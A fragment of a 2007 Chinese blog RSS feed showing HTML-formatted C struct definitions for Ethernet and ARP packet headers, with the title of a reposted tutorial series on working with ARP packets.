								<span style="mso-tab-count: 2">      </span>DesMAC[6];<span style="mso-tab-count: 3">             </span><span style="COLOR: green">/* destination HW addrress */<o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">   </span>
								<span style="COLOR: blue">unsigned</span>
								<span style="COLOR: blue">char</span>
								<span style="mso-tab-count: 2">      </span>SrcMAC[6];<span style="mso-tab-count: 3">             </span><span style="COLOR: green">/* source HW addresss */<o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">   </span>
								<span style="COLOR: blue">unsigned</span>
								<span style="COLOR: blue">short</span>
								<span style="mso-tab-count: 1">     </span>Ethertype;<span style="mso-tab-count: 3">             </span><span style="mso-spacerun: yes">   </span><span style="COLOR: green">/* ethernet type */<o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">} DLCHEADER, *PDLCHEADER;<o:p></o:p></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">// ARP Frame</span>
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<o:p>
								</o:p>
						</span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">typedef</span>
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="COLOR: blue">struct</span> tagARPFrame<span style="mso-spacerun: yes">                      </span><span style="COLOR: green"><o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 13.5pt; TEXT-ALIGN: left; mso-char-indent-count: 1.5; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">{<o:p></o:p></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">     </span>
								<span style="mso-tab-count: 1">     </span>
								<span style="COLOR: blue">unsigned</span>
								<span style="COLOR: blue">short</span>
								<span style="mso-tab-count: 2">         </span>HW_Type;<span style="mso-tab-count: 3">           </span><span style="COLOR: green">/* hardware address */<o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">     </span>
								<span style="mso-tab-count: 1">     </span>
								<span style="COLOR: blue">unsigned</span>
								<span style="COLOR: blue">short</span>
								<span style="mso-tab-count: 2">         </span>Prot_Type;<span style="mso-tab-count: 3">             </span><span style="COLOR: green">/* protocol address */<o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">     </span>
								<span style="mso-tab-count: 1">     </span>
								<span style="COLOR: blue">unsigned</span>
								<span style="COLOR: blue">char</span>
								<span style="mso-tab-count: 2">      </span>HW_Addr_Len;<span style="mso-tab-count: 2">       </span><span style="COLOR: green">/* length of hardware address */<o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">     </span>
								<span style="mso-tab-count: 1">     </span>
								<span style="COLOR: blue">unsigned</span>
								<span style="COLOR: blue">char</span>
								<span style="mso-tab-count: 2">      </span>Prot_Addr_Len;<span style="mso-tab-count: 2">         </span><span style="COLOR: green">/* length of protocol address */<o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">     </span>
								<span style="mso-tab-count: 1">     </span>
								<span style="COLOR: blue">unsigned</span>
								<span style="COLOR: blue">short</span>
								<span style="mso-tab-count: 2">         </span>Opcode;<span style="mso-tab-count: 3">            </span><span style="mso-spacerun: yes">    </span><span style="COLOR: green">/* ARP/RARP */<o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<o:p> </o:p>
						</span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">     </span>
								<span style="mso-tab-count: 1">     </span>
								<span style="COLOR: blue">unsigned</span>
								<span style="COLOR: blue">char</span>
								<span style="mso-tab-count: 2">      </span>Send_HW_Addr[6];<span style="mso-spacerun: yes">     </span><span style="COLOR: green">/* sender hardware address */<o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">     </span>
								<span style="mso-tab-count: 1">     </span>
								<span style="COLOR: blue">unsigned</span>
								<span style="COLOR: blue">long</span>
								<span style="mso-tab-count: 2">      </span>Send_Prot_Addr;<span style="mso-spacerun: yes">      </span><span style="COLOR: green">/* sender protocol address */<o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">     </span>
								<span style="mso-tab-count: 1">     </span>
								<span style="COLOR: blue">unsigned</span>
								<span style="COLOR: blue">char</span>
								<span style="mso-tab-count: 2">      </span>Targ_HW_Addr[6];<span style="mso-spacerun: yes">     </span><span style="COLOR: green">/* target hardware address */<o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">     </span>
								<span style="mso-tab-count: 1">     </span>
								<span style="COLOR: blue">unsigned</span>
								<span style="COLOR: blue">long</span>
								<span style="mso-tab-count: 2">      </span>Targ_Prot_Addr;<span style="mso-spacerun: yes">      </span><span style="COLOR: green">/* target protocol address */<o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">     </span>
								<span style="mso-tab-count: 1">     </span>
								<span style="COLOR: blue">unsigned</span>
								<span style="COLOR: blue">char</span>
								<span style="mso-tab-count: 2">      </span>padding[18];<o:p></o:p></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">} ARPFRAME, *PARPFRAME;<o:p></o:p></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">// ARP Packet = DLC header + ARP Frame</span>
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<o:p>
								</o:p>
						</span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">typedef</span>
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="COLOR: blue">struct</span> tagARPPacket<span style="mso-spacerun: yes">                 </span><span style="COLOR: green"><o:p></o:p></span></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">{<o:p></o:p></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">
								</span>
								<span style="mso-tab-count: 1">     </span>DLCHEADER<span style="mso-tab-count: 2">     </span>dlcHeader;<o:p></o:p></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
								<span style="mso-tab-count: 1">
								</span>
								<span style="mso-tab-count: 1">     </span>ARPFRAME<span style="mso-tab-count: 2">      </span>arpFrame;<o:p></o:p></span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; mso-para-margin-left: 1.71gd">
						<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">} ARPPACKET, *PARPPACKET;</span>
						<span lang="EN-US" style="FONT-SIZE: 9pt">
								<o:p>
								</o:p>
						</span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd">
						<span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋体; mso-ansi-language: ZH-CN">
								<o:p> </o:p>
						</span>
				</p>
				<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt; mso-char-indent-count: 2.0; mso-layout-grid-align: none">
						<span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋体; mso-ansi-language: ZH-CN">这些结构体一定能看懂吧</span>
						<span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋体">，</span>
						<span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋体; mso-ansi-language: ZH-CN">在程序中就是对号入座就好了</span>
				</p>
		</div>
<img src ="http://www.blogjava.net/yczz/aggbug/100055.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:41 <a href="http://www.blogjava.net/yczz/articles/100055.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）手把手教你玩转ARP包（一）【数据包的游戏系列之一】</title><link>http://www.blogjava.net/yczz/articles/100054.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:39:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/100054.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/100054.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/100054.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/100054.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/100054.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 前																																						   																																				言																																																																																...&nbsp;&nbsp;<a href='http://www.blogjava.net/yczz/articles/100054.html'>阅读全文</a><img src ="http://www.blogjava.net/yczz/aggbug/100054.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:39 <a href="http://www.blogjava.net/yczz/articles/100054.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>